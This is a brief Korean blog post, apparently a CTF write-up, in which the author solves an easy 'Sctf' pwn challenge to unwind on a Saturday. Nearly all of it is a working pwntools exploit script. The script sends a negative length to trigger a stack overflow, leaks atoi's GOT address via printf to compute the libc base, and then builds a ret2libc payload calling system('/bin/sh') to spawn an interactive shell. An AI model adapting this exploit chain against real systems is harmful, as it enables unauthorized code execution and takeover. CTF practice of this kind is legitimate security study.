오늘은 토요일에다가 생활기록부 작성도 어느정도 끝나서 쉬고싶은 마음에 간단한 문제를 하나 풀어봤다!! 즉 쉬어가는 문제 2
재밌다!! CTF이름이 Sctf인데 삼성 시텦은 아니다.
from pwn import *
s = process("./pwn2")
libc = ELF("./libc")
elf = ELF("./pwn2")
main = 0x080483d0
s.recvuntil("to read? ")
s.sendline("-1")
s.recvuntil("bytes of data!")
#gdb.attach(s)
pay = "A"*(0x2c+4)
pay += p32(elf.plt['printf'])
pay += p32(0x0804864f)
pay += p32(elf.got['atoi'])
pay += p32(main)
s.sendline(pay)
s.recvline()
s.recvline()
leak = u32(s.recv(4))
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search("/bin/sh\00"))
print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "bin_sh : " + hex(bin_sh)
s.recvuntil("to read? ")
s.sendline("-1")
s.recvuntil("bytes of data!")
pay = "B"*(0x2c+4)
pay += p32(system)
pay += "A"*4
pay += p32(bin_sh)
s.sendline(pay)
s.interactive()